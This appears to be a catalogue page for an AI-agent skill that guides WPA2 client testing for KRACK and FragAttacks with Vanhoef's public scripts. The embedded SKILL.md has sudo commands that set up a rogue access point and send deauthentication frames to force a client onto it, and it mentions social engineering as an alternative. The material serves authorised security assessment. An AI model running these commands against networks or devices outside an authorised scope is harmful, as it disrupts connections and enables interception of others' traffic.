Offensive Krack Fragattacks

What it does

When your agent uses it

• Assessing legacy supplicants
• Embedded clients
• Vendors with poor patch cadence

Example prompts

• “/offensive-krack-fragattacks”

Workflow steps

4 steps, taken from the first numbered list in SKILL.md.

1. 1Identify the in-scope client (MAC, OS, vendor)
2. 2Estimate patch likelihood — if modern OS, likely patched; if embedded, likely vulnerable
3. 3Run the test suite from a controlled AP setup
4. 4Report each vulnerable variant separately with the matching CVE

What it can do on your machine

Read from SKILL.md and the folder at commit 739512a. It shows what the files ask for, not the result of running them.

• Tool permissions

  Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

  From allowed-tools in the SKILL.md frontmatter.

• Runs code

  Shell commands in SKILL.md call:

  • git

  From the folder's file list and the shell code blocks in SKILL.md.

• Network

  Hosts in commands or code, which the agent is likely to contact:

  • github.com

  From URLs in SKILL.md, links to its own repository left out.

• Credentials

  Names no API keys, tokens, secrets or passwords.

  From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Offensive Krack Fragattacks loads about 1.1k tokens when it runs. Until then it costs about 128 tokens; SKILL.md has 398 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it

~128

When it runs · the whole SKILL.md, loaded when a task matches

~1.1k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

• NoteRuns commands with sudoSKILL.md:33

  sudo ./krack-test-client.py --interface wlan0

• NoteRuns commands with sudoSKILL.md:55

  sudo ./test-fragattacks.py wlan0 --interface wlan0

• NoteRuns commands with sudoSKILL.md:82

  sudo hostapd-mana /tmp/krack_test_ap.conf

• NoteRuns commands with sudoSKILL.md:85

  sudo aireplay-ng --deauth 5 -a <real-BSSID> -c <client-MAC> wlan0mon

• NoteRuns commands with sudoSKILL.md:88

  sudo ./krack-test-client.py --interface wlan0

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.

SKILL.md

The full file from SnailSploit/Claude-Red at commit 739512a, republished under its MIT licence (© SnailSploit). 398 words, ~1,131 tokens.

name

offensive-krack-fragattacks

description

KRACK (CVE-2017-13077..082) and FragAttacks (CVE-2020-24586..588 + 26139-26147) — key reinstallation, fragmentation, and aggregation attacks against WPA2 supplicants. Covers Vanhoef's test scripts, viability against modern patched stacks (mostly mitigated post-2021), residual unpatched embedded devices and IoT vendors, and the practical limitations of these attacks in modern engagements. Use when assessing legacy supplicants, embedded clients, or vendors with poor patch cadence.

# Vanhoef's official test scripts
git clone https://github.com/vanhoefm/krackattacks-scripts
cd krackattacks-scripts/krackattack
sudo ./krack-test-client.py --interface wlan0
# Tests the supplicant on a connected client

git clone https://github.com/vanhoefm/fragattacks
cd fragattacks
sudo ./test-fragattacks.py wlan0 --interface wlan0
# Suite of ~12 tests covering each variant

# Rogue AP that drives the test
sudo hostapd-mana /tmp/krack_test_ap.conf

# Force client to associate (deauth from real AP, or social-engineer)
sudo aireplay-ng --deauth 5 -a <real-BSSID> -c <client-MAC> wlan0mon

# Run test once associated
sudo ./krack-test-client.py --interface wlan0

© SnailSploit, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

Just SKILL.md in Skills/wireless/offensive-krack-fragattacks of SnailSploit/Claude-Red.

Open the folder on GitHubat commit 739512a